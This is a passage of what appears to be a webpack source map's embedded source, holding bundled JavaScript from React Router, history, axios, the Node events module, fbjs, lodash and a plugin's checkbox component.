}\n\t\t\t\t\t\t\t\tdata-tooltip={ this.props.tooltip }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<span\n\t\t\t\t\t\t\t\t\tclassName=\"sui-icon-info\"\n\t\t\t\t\t\t\t\t\taria-hidden=\"true\"\n\t\t\t\t\t\t\t\t\tstyle={ { pointerEvents: 'none' } }\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t)}\n\t\t\t\t\t</span>\n\t\t\t\t}\n\t\t\t</label>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/checkbox.js","var g;\r\n\r\n// This works in non-strict mode\r\ng = (function() {\r\n\treturn this;\r\n})();\r\n\r\ntry {\r\n\t// This works if eval is allowed (see CSP)\r\n\tg = g || Function(\"return this\")() || (1,eval)(\"this\");\r\n} catch(e) {\r\n\t// This works if the window reference is available\r\n\tif(typeof window === \"object\")\r\n\t\tg = window;\r\n}\r\n\r\n// g can still be undefined, but nothing to do about it...\r\n// We return undefined, instead of nothing here, so it's\r\n// easier to handle this case. if(!global) { ...}\r\n\r\nmodule.exports = g;\r\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// (webpack)/buildin/global.js\n// module id = 42\n// module chunks = 0 1 2 3 4","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nvar ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';\n\nmodule.exports = ReactPropTypesSecret;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/prop-types/lib/ReactPropTypesSecret.js\n// module id = 44\n// module chunks = 0 1 2 3 4","/**\n * Prints a warning in the console if it exists.\n *\n * @param {String} message The warning message.\n * @returns {void}\n */\nexport default function warning(message) {\n  /* eslint-disable no-console */\n  if (typeof console !== 'undefined' && typeof console.error === 'function') {\n    console.error(message);\n  }\n  /* eslint-enable no-console */\n  try {\n    // This error was thrown as a convenience so that if you enable\n    // \"break on all exceptions\" in your console,\n    // it would pause the execution at this line.\n    throw new Error(message);\n    /* eslint-disable no-empty */\n  } catch (e) {}\n  /* eslint-enable no-empty */\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/utils/warning.js\n// module id = 45\n// module chunks = 0 1 2 3 4","import warning from 'warning';\n\nvar createTransitionManager = function createTransitionManager() {\n  var prompt = null;\n\n  var setPrompt = function setPrompt(nextPrompt) {\n    warning(prompt == null, 'A history supports only one prompt at a time');\n\n    prompt = nextPrompt;\n\n    return function () {\n      if (prompt === nextPrompt) prompt = null;\n    };\n  };\n\n  var confirmTransitionTo = function confirmTransitionTo(location, action, getUserConfirmation, callback) {\n    // TODO: If another transition starts while we're still confirming\n    // the previous one, we may end up in a weird state. Figure out the\n    // best way to handle this.\n    if (prompt != null) {\n      var result = typeof prompt === 'function' ? prompt(location, action) : prompt;\n\n      if (typeof result === 'string') {\n        if (typeof getUserConfirmation === 'function') {\n          getUserConfirmation(result, callback);\n        } else {\n          warning(false, 'A history needs a getUserConfirmation function in order to use a prompt message');\n\n          callback(true);\n        }\n      } else {\n        // Return false from a transition hook to cancel the transition.\n        callback(result !== false);\n      }\n    } else {\n      callback(true);\n    }\n  };\n\n  var listeners = [];\n\n  var appendListener = function appendListener(fn) {\n    var isActive = true;\n\n    var listener = function listener() {\n      if (isActive) fn.apply(undefined, arguments);\n    };\n\n    listeners.push(listener);\n\n    return function () {\n      isActive = false;\n      listeners = listeners.filter(function (item) {\n        return item !== listener;\n      });\n    };\n  };\n\n  var notifyListeners = function notifyListeners() {\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    listeners.forEach(function (listener) {\n      return listener.apply(undefined, args);\n    });\n  };\n\n  return {\n    setPrompt: setPrompt,\n    confirmTransitionTo: confirmTransitionTo,\n    appendListener: appendListener,\n    notifyListeners: notifyListeners\n  };\n};\n\nexport default createTransitionManager;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/createTransitionManager.js\n// module id = 46\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport Router from \"react-router/es/Router\";\n\nexport default Router;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Router.js\n// module id = 47\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport invariant from \"invariant\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\n\n/**\n * The public API for putting history on context.\n */\n\nvar Router = function (_React$Component) {\n  _inherits(Router, _React$Component);\n\n  function Router() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, Router);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {\n      match: _this.computeMatch(_this.props.history.location.pathname)\n    }, _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  Router.prototype.getChildContext = function getChildContext() {\n    return {\n      router: _extends({}, this.context.router, {\n        history: this.props.history,\n        route: {\n          location: this.props.history.location,\n          match: this.state.match\n        }\n      })\n    };\n  };\n\n  Router.prototype.computeMatch = function computeMatch(pathname) {\n    return {\n      path: \"/\",\n      url: \"/\",\n      params: {},\n      isExact: pathname === \"/\"\n    };\n  };\n\n  Router.prototype.componentWillMount = function componentWillMount() {\n    var _this2 = this;\n\n    var _props = this.props,\n        children = _props.children,\n        history = _props.history;\n\n\n    invariant(children == null || React.Children.count(children) === 1, \"A <Router> may have only one child element\");\n\n    // Do this here so we can setState when a <Redirect> changes the\n    // location in componentWillMount. This happens e.g. when doing\n    // server rendering using a <StaticRouter>.\n    this.unlisten = history.listen(function () {\n      _this2.setState({\n        match: _this2.computeMatch(history.location.pathname)\n      });\n    });\n  };\n\n  Router.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {\n    warning(this.props.history === nextProps.history, \"You cannot change <Router history>\");\n  };\n\n  Router.prototype.componentWillUnmount = function componentWillUnmount() {\n    this.unlisten();\n  };\n\n  Router.prototype.render = function render() {\n    var children = this.props.children;\n\n    return children ? React.Children.only(children) : null;\n  };\n\n  return Router;\n}(React.Component);\n\nRouter.propTypes = {\n  history: PropTypes.object.isRequired,\n  children: PropTypes.node\n};\nRouter.contextTypes = {\n  router: PropTypes.object\n};\nRouter.childContextTypes = {\n  router: PropTypes.object.isRequired\n};\n\n\nexport default Router;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/Router.js\n// module id = 48\n// module chunks = 0 1 2 3 4","import pathToRegexp from \"path-to-regexp\";\n\nvar patternCache = {};\nvar cacheLimit = 10000;\nvar cacheCount = 0;\n\nvar compilePath = function compilePath(pattern, options) {\n  var cacheKey = \"\" + options.end + options.strict + options.sensitive;\n  var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});\n\n  if (cache[pattern]) return cache[pattern];\n\n  var keys = [];\n  var re = pathToRegexp(pattern, keys, options);\n  var compiledPattern = { re: re, keys: keys };\n\n  if (cacheCount < cacheLimit) {\n    cache[pattern] = compiledPattern;\n    cacheCount++;\n  }\n\n  return compiledPattern;\n};\n\n/**\n * Public API for matching a URL pathname to a path pattern.\n */\nvar matchPath = function matchPath(pathname) {\n  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n  var parent = arguments[2];\n\n  if (typeof options === \"string\") options = { path: options };\n\n  var _options = options,\n      path = _options.path,\n      _options$exact = _options.exact,\n      exact = _options$exact === undefined ? false : _options$exact,\n      _options$strict = _options.strict,\n      strict = _options$strict === undefined ? false : _options$strict,\n      _options$sensitive = _options.sensitive,\n      sensitive = _options$sensitive === undefined ? false : _options$sensitive;\n\n\n  if (path == null) return parent;\n\n  var _compilePath = compilePath(path, { end: exact, strict: strict, sensitive: sensitive }),\n      re = _compilePath.re,\n      keys = _compilePath.keys;\n\n  var match = re.exec(pathname);\n\n  if (!match) return null;\n\n  var url = match[0],\n      values = match.slice(1);\n\n  var isExact = pathname === url;\n\n  if (exact && !isExact) return null;\n\n  return {\n    path: path, // the path pattern used to match\n    url: path === \"/\" && url === \"\" ? \"/\" : url, // the matched portion of the URL\n    isExact: isExact, // whether or not we matched exactly\n    params: keys.reduce(function (memo, key, index) {\n      memo[key.name] = values[index];\n      return memo;\n    }, {})\n  };\n};\n\nexport default matchPath;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/matchPath.js\n// module id = 49\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar utils = require('./utils');\nvar normalizeHeaderName = require('./helpers/normalizeHeaderName');\n\nvar DEFAULT_CONTENT_TYPE = {\n  'Content-Type': 'application/x-www-form-urlencoded'\n};\n\nfunction setContentTypeIfUnset(headers, value) {\n  if (!utils.isUndefined(headers) && utils.isUndefined(headers['Content-Type'])) {\n    headers['Content-Type'] = value;\n  }\n}\n\nfunction getDefaultAdapter() {\n  var adapter;\n  if (typeof XMLHttpRequest !== 'undefined') {\n    // For browsers use XHR adapter\n    adapter = require('./adapters/xhr');\n  } else if (typeof process !== 'undefined') {\n    // For node use HTTP adapter\n    adapter = require('./adapters/http');\n  }\n  return adapter;\n}\n\nvar defaults = {\n  adapter: getDefaultAdapter(),\n\n  transformRequest: [function transformRequest(data, headers) {\n    normalizeHeaderName(headers, 'Content-Type');\n    if (utils.isFormData(data) ||\n      utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      setContentTypeIfUnset(headers, 'application/x-www-form-urlencoded;charset=utf-8');\n      return data.toString();\n    }\n    if (utils.isObject(data)) {\n      setContentTypeIfUnset(headers, 'application/json;charset=utf-8');\n      return JSON.stringify(data);\n    }\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    /*eslint no-param-reassign:0*/\n    if (typeof data === 'string') {\n      try {\n        data = JSON.parse(data);\n      } catch (e) { /* Ignore */ }\n    }\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  }\n};\n\ndefaults.headers = {\n  common: {\n    'Accept': 'application/json, text/plain, */*'\n  }\n};\n\nutils.forEach(['delete', 'get', 'head'], function forEachMethodNoData(method) {\n  defaults.headers[method] = {};\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n  defaults.headers[method] = utils.merge(DEFAULT_CONTENT_TYPE);\n});\n\nmodule.exports = defaults;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/defaults.js\n// module id = 50\n// module chunks = 0 1 2 3 4","/**\n * Internal dependencies\n */\nvar I18N = require( './lib' ),\n\ti18n = new I18N();\n\nmodule.exports = {\n\tnumberFormat: i18n.numberFormat.bind( i18n ),\n\ttranslate: i18n.translate.bind( i18n ),\n\tconfigure: i18n.configure.bind( i18n ),\n\tsetLocale: i18n.setLocale.bind( i18n ),\n\tgetLocale: i18n.getLocale.bind( i18n ),\n\tgetLocaleSlug: i18n.getLocaleSlug.bind( i18n ),\n\taddTranslations: i18n.addTranslations.bind( i18n ),\n\treRenderTranslations: i18n.reRenderTranslations.bind( i18n ),\n\tregisterComponentUpdateHook: i18n.registerComponentUpdateHook.bind( i18n ),\n\tregisterTranslateHook: i18n.registerTranslateHook.bind( i18n ),\n\tstate: i18n.state,\n\tstateObserver: i18n.stateObserver,\n\ton: i18n.stateObserver.on.bind(i18n.stateObserver),\n\toff: i18n.stateObserver.removeListener.bind(i18n.stateObserver),\n\temit: i18n.stateObserver.emit.bind(i18n.stateObserver),\n\tlocalize: require( './lib/localize' )( i18n ),\n\t$this: i18n,\n\tI18N: I18N\n};\n\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/index.js\n// module id = 52\n// module chunks = 0 1 2 3 4 5","module.exports = assert;\n\nfunction assert(val, msg) {\n  if (!val)\n    throw new Error(msg || 'Assertion failed');\n}\n\nassert.equal = function assertEqual(l, r, msg) {\n  if (l != r)\n    throw new Error(msg || ('Assertion failed: ' + l + ' != ' + r));\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/minimalistic-assert/index.js\n// module id = 54\n// module chunks = 0 1 2 3 4 5","if (typeof Object.create === 'function') {\n  // implementation from standard node.js 'util' module\n  module.exports = function inherits(ctor, superCtor) {\n    ctor.super_ = superCtor\n    ctor.prototype = Object.create(superCtor.prototype, {\n      constructor: {\n        value: ctor,\n        enumerable: false,\n        writable: true,\n        configurable: true\n      }\n    });\n  };\n} else {\n  // old school shim for old browsers\n  module.exports = function inherits(ctor, superCtor) {\n    ctor.super_ = superCtor\n    var TempCtor = function () {}\n    TempCtor.prototype = superCtor.prototype\n    ctor.prototype = new TempCtor()\n    ctor.prototype.constructor = ctor\n  }\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/inherits/inherits_browser.js\n// module id = 55\n// module chunks = 0 1 2 3 4 5","// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nfunction EventEmitter() {\n  this._events = this._events || {};\n  this._maxListeners = this._maxListeners || undefined;\n}\nmodule.exports = EventEmitter;\n\n// Backwards-compat with node 0.10.x\nEventEmitter.EventEmitter = EventEmitter;\n\nEventEmitter.prototype._events = undefined;\nEventEmitter.prototype._maxListeners = undefined;\n\n// By default EventEmitters will print a warning if more than 10 listeners are\n// added to it. This is a useful default which helps finding memory leaks.\nEventEmitter.defaultMaxListeners = 10;\n\n// Obviously not all Emitters should be limited to 10. This function allows\n// that to be increased. Set to zero for unlimited.\nEventEmitter.prototype.setMaxListeners = function(n) {\n  if (!isNumber(n) || n < 0 || isNaN(n))\n    throw TypeError('n must be a positive number');\n  this._maxListeners = n;\n  return this;\n};\n\nEventEmitter.prototype.emit = function(type) {\n  var er, handler, len, args, i, listeners;\n\n  if (!this._events)\n    this._events = {};\n\n  // If there is no 'error' event listener then throw.\n  if (type === 'error') {\n    if (!this._events.error ||\n        (isObject(this._events.error) && !this._events.error.length)) {\n      er = arguments[1];\n      if (er instanceof Error) {\n        throw er; // Unhandled 'error' event\n      } else {\n        // At least give some kind of context to the user\n        var err = new Error('Uncaught, unspecified \"error\" event. (' + er + ')');\n        err.context = er;\n        throw err;\n      }\n    }\n  }\n\n  handler = this._events[type];\n\n  if (isUndefined(handler))\n    return false;\n\n  if (isFunction(handler)) {\n    switch (arguments.length) {\n      // fast cases\n      case 1:\n        handler.call(this);\n        break;\n      case 2:\n        handler.call(this, arguments[1]);\n        break;\n      case 3:\n        handler.call(this, arguments[1], arguments[2]);\n        break;\n      // slower\n      default:\n        args = Array.prototype.slice.call(arguments, 1);\n        handler.apply(this, args);\n    }\n  } else if (isObject(handler)) {\n    args = Array.prototype.slice.call(arguments, 1);\n    listeners = handler.slice();\n    len = listeners.length;\n    for (i = 0; i < len; i++)\n      listeners[i].apply(this, args);\n  }\n\n  return true;\n};\n\nEventEmitter.prototype.addListener = function(type, listener) {\n  var m;\n\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  if (!this._events)\n    this._events = {};\n\n  // To avoid recursion in the case that type === \"newListener\"! Before\n  // adding it to the listeners, first emit \"newListener\".\n  if (this._events.newListener)\n    this.emit('newListener', type,\n              isFunction(listener.listener) ?\n              listener.listener : listener);\n\n  if (!this._events[type])\n    // Optimize the case of one listener. Don't need the extra array object.\n    this._events[type] = listener;\n  else if (isObject(this._events[type]))\n    // If we've already got an array, just append.\n    this._events[type].push(listener);\n  else\n    // Adding the second element, need to change to array.\n    this._events[type] = [this._events[type], listener];\n\n  // Check for listener leak\n  if (isObject(this._events[type]) && !this._events[type].warned) {\n    if (!isUndefined(this._maxListeners)) {\n      m = this._maxListeners;\n    } else {\n      m = EventEmitter.defaultMaxListeners;\n    }\n\n    if (m && m > 0 && this._events[type].length > m) {\n      this._events[type].warned = true;\n      console.error('(node) warning: possible EventEmitter memory ' +\n                    'leak detected. %d listeners added. ' +\n                    'Use emitter.setMaxListeners() to increase limit.',\n                    this._events[type].length);\n      if (typeof console.trace === 'function') {\n        // not supported in IE 10\n        console.trace();\n      }\n    }\n  }\n\n  return this;\n};\n\nEventEmitter.prototype.on = EventEmitter.prototype.addListener;\n\nEventEmitter.prototype.once = function(type, listener) {\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  var fired = false;\n\n  function g() {\n    this.removeListener(type, g);\n\n    if (!fired) {\n      fired = true;\n      listener.apply(this, arguments);\n    }\n  }\n\n  g.listener = listener;\n  this.on(type, g);\n\n  return this;\n};\n\n// emits a 'removeListener' event iff the listener was removed\nEventEmitter.prototype.removeListener = function(type, listener) {\n  var list, position, length, i;\n\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  if (!this._events || !this._events[type])\n    return this;\n\n  list = this._events[type];\n  length = list.length;\n  position = -1;\n\n  if (list === listener ||\n      (isFunction(list.listener) && list.listener === listener)) {\n    delete this._events[type];\n    if (this._events.removeListener)\n      this.emit('removeListener', type, listener);\n\n  } else if (isObject(list)) {\n    for (i = length; i-- > 0;) {\n      if (list[i] === listener ||\n          (list[i].listener && list[i].listener === listener)) {\n        position = i;\n        break;\n      }\n    }\n\n    if (position < 0)\n      return this;\n\n    if (list.length === 1) {\n      list.length = 0;\n      delete this._events[type];\n    } else {\n      list.splice(position, 1);\n    }\n\n    if (this._events.removeListener)\n      this.emit('removeListener', type, listener);\n  }\n\n  return this;\n};\n\nEventEmitter.prototype.removeAllListeners = function(type) {\n  var key, listeners;\n\n  if (!this._events)\n    return this;\n\n  // not listening for removeListener, no need to emit\n  if (!this._events.removeListener) {\n    if (arguments.length === 0)\n      this._events = {};\n    else if (this._events[type])\n      delete this._events[type];\n    return this;\n  }\n\n  // emit removeListener for all listeners on all events\n  if (arguments.length === 0) {\n    for (key in this._events) {\n      if (key === 'removeListener') continue;\n      this.removeAllListeners(key);\n    }\n    this.removeAllListeners('removeListener');\n    this._events = {};\n    return this;\n  }\n\n  listeners = this._events[type];\n\n  if (isFunction(listeners)) {\n    this.removeListener(type, listeners);\n  } else if (listeners) {\n    // LIFO order\n    while (listeners.length)\n      this.removeListener(type, listeners[listeners.length - 1]);\n  }\n  delete this._events[type];\n\n  return this;\n};\n\nEventEmitter.prototype.listeners = function(type) {\n  var ret;\n  if (!this._events || !this._events[type])\n    ret = [];\n  else if (isFunction(this._events[type]))\n    ret = [this._events[type]];\n  else\n    ret = this._events[type].slice();\n  return ret;\n};\n\nEventEmitter.prototype.listenerCount = function(type) {\n  if (this._events) {\n    var evlistener = this._events[type];\n\n    if (isFunction(evlistener))\n      return 1;\n    else if (evlistener)\n      return evlistener.length;\n  }\n  return 0;\n};\n\nEventEmitter.listenerCount = function(emitter, type) {\n  return emitter.listenerCount(type);\n};\n\nfunction isFunction(arg) {\n  return typeof arg === 'function';\n}\n\nfunction isNumber(arg) {\n  return typeof arg === 'number';\n}\n\nfunction isObject(arg) {\n  return typeof arg === 'object' && arg !== null;\n}\n\nfunction isUndefined(arg) {\n  return arg === void 0;\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/events/events.js\n// module id = 56\n// module chunks = 0 1 2 3 4 5","\"use strict\";\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\n\nfunction makeEmptyFunction(arg) {\n  return function () {\n    return arg;\n  };\n}\n\n/**\n * This function accepts and discards inputs; it has no side effects. This is\n * primarily useful idiomatically for overridable function endpoints which\n * always need to be callable, since JS lacks a null-call idiom ala Cocoa.\n */\nvar emptyFunction = function emptyFunction() {};\n\nemptyFunction.thatReturns = makeEmptyFunction;\nemptyFunction.thatReturnsFalse = makeEmptyFunction(false);\nemptyFunction.thatReturnsTrue = makeEmptyFunction(true);\nemptyFunction.thatReturnsNull = makeEmptyFunction(null);\nemptyFunction.thatReturnsThis = function () {\n  return this;\n};\nemptyFunction.thatReturnsArgument = function (arg) {\n  return arg;\n};\n\nmodule.exports = emptyFunction;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/fbjs/lib/emptyFunction.js\n// module id = 57\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\n/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nvar validateFormat = function validateFormat(format) {};\n\nif (process.env.NODE_ENV !== 'production') {\n  validateFormat = function validateFormat(format) {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  };\n}\n\nfunction invariant(condition, format, a, b, c, d, e, f) {\n  validateFormat(format);\n\n  if (!condition) {\n    var error;\n    if (format === undefined) {\n      error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');\n    } else {\n      var args = [a, b, c, d, e, f];\n      var argIndex = 0;\n      error = new Error(format.replace(/%s/g, function () {\n        return args[argIndex++];\n      }));\n      error.name = 'Invariant Violation';\n    }\n\n    error.framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n}\n\nmodule.exports = invariant;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/fbjs/lib/invariant.js\n// module id = 58\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nvar emptyFunction = require('./emptyFunction');\n\n/**\n * Similar to invariant but only logs a warning if the condition is not met.\n * This can be used to log issues in development environments in critical\n * paths. Removing the logging code for production environments will keep the\n * same logic and follow the same code paths.\n */\n\nvar warning = emptyFunction;\n\nif (process.env.NODE_ENV !== 'production') {\n  var printWarning = function printWarning(format) {\n    for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n      args[_key - 1] = arguments[_key];\n    }\n\n    var argIndex = 0;\n    var message = 'Warning: ' + format.replace(/%s/g, function () {\n      return args[argIndex++];\n    });\n    if (typeof console !== 'undefined') {\n      console.error(message);\n    }\n    try {\n      // --- Welcome to debugging React ---\n      // This error was thrown as a convenience so that you can use this stack\n      // to find the callsite that caused this warning to fire.\n      throw new Error(message);\n    } catch (x) {}\n  };\n\n  warning = function warning(condition, format) {\n    if (format === undefined) {\n      throw new Error('`warning(condition, format, ...args)` requires a warning ' + 'message argument');\n    }\n\n    if (format.indexOf('Failed Composite propType: ') === 0) {\n      return; // Ignore CompositeComponent proptype check.\n    }\n\n    if (!condition) {\n      for (var _len2 = arguments.length, args = Array(_len2 > 2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) {\n        args[_key2 - 2] = arguments[_key2];\n      }\n\n      printWarning.apply(undefined, [format].concat(args));\n    }\n  };\n}\n\nmodule.exports = warning;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/fbjs/lib/warning.js\n// module id = 59\n// module chunks = 0 1 2 3 4 5","/**\n * lodash (Custom Build) <https://lodash.com/>\n * Build: `lodash modularize exports=\"npm\" -o ./`\n * Copyright jQuery Foundation and other contributors <https://jquery.org/>\n * Released under MIT license <https://lodash.com/license>\n * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>\n * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\n */\n\n/** Used as references for various `Number` constants. */\nvar MAX_SAFE_INTEGER = 9007199254740991;\n\n/** `Object#toString` result references. */\nvar argsTag = '[object Arguments]',\n    funcTag = '[object Function]',\n    genTag = '[object GeneratorFunction]';\n\n/** Used to detect unsigned integer values. */\nvar reIsUint = /^(?:0|[1-9]\\d*)$/;\n\n/**\n * A faster alternative to `Function#apply`, this function invokes `func`\n * with the `this` binding of `thisArg` and the arguments of `args`.\n *\n * @private\n * @param {Function} func The function to invoke.\n * @param {*} thisArg The `this` binding of `func`.\n * @param {Array} args The arguments to invoke `func` with.\n * @returns {*} Returns the result of `func`.\n */\nfunction apply(func, thisArg, args) {\n  switch (args.length) {\n    case 0: return func.call(thisArg);\n    case 1: return func.call(thisArg, args[0]);\n    case 2: return func.call(thisArg, args[0], args[1]);\n    case 3: return func.call(thisArg, args[0], args[1], args[2]);\n  }\n  return func.apply(thisArg, args);\n}\n\n/**\n * The base implementation of `_.times` without support for iteratee shorthands\n * or max array length checks.\n *\n * @private\n * @param {number} n The number of times to invoke `iteratee`.\n * @param {Function} iteratee The function invoked per iteration.\n * @returns {Array} Returns the array of results.\n */\nfunction baseTimes(n, iteratee) {\n  var index = -1,\n      result = Array(n);\n\n  while (++index < n) {\n    result[index] = iteratee(index);\n  }\n  return result;\n}\n\n/**\n * Creates a unary function that invokes `func` with its argument transformed.\n *\n * @private\n * @param {Function} func The function to wrap.\n * @param {Function} transform The argument transform.\n * @returns {Function} Returns the new function.\n */\nfunction overArg(func, transform) {\n  return function(arg) {\n    return func(transform(arg));\n  };\n}\n\n/** Used for built-in method references. */\nvar objectProto = Object.prototype;\n\n/** Used to check objects for own properties. */\nvar hasOwnProperty = objectProto.hasOwnProperty;\n\n/**\n * Used to resolve the\n * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)\n * of values.\n */\nvar objectToString = objectProto.toString;\n\n/** Built-in value references. */\nvar propertyIsEnumerable = objectProto.propertyIsEnumerable;\n\n/* Built-in method references for those with the same name as other `lodash` methods. */\nvar nativeKeys = overArg(Object.keys, Object),\n    nativeMax = Math.max;\n\n/** Detect if properties shadowing those on `Object.prototype` are non-enumerable. */\nvar nonEnumShadows = !propertyIsEnumerable.call({ 'valueOf': 1 }, 'valueOf');\n\n/**\n * Creates an array of the enumerable property names of the array-like `value`.\n *\n * @private\n * @param {*} value The value to query.\n * @param {boolean} inherited Specify returning inherited property names.\n * @returns {Array} Returns the array of property names.\n */\nfunction arrayLikeKeys(value, inherited) {\n  // Safari 8.1 makes `arguments.callee` enumerable in strict mode.\n  // Safari 9 makes `arguments.length` enumerable in strict mode.\n  var result = (isArray(value) || isArguments(value))\n    ? baseTimes(value.length, String)\n    : [];\n\n  var length = result.length,\n      skipIndexes = !!length;\n\n  for (var key in value) {\n    if ((inherited || hasOwnProperty.call(value, key)) &&\n        !(skipIndexes && (key == 'length' || isIndex(key, length)))) {\n      result.push(key);\n    }\n  }\n  return result;\n}\n\n/**\n * Assigns `value` to `key` of `object` if the existing value is not equivalent\n * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)\n * for equality comparisons.\n *\n * @private\n * @param {Object} object The object to modify.\n * @param {string} key The key of the property to assign.\n * @param {*} value The value to assign.\n */\nfunction assignValue(object, key, value) {\n  var objValue = object[key];\n  if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||\n      (value === undefined && !(key in object))) {\n 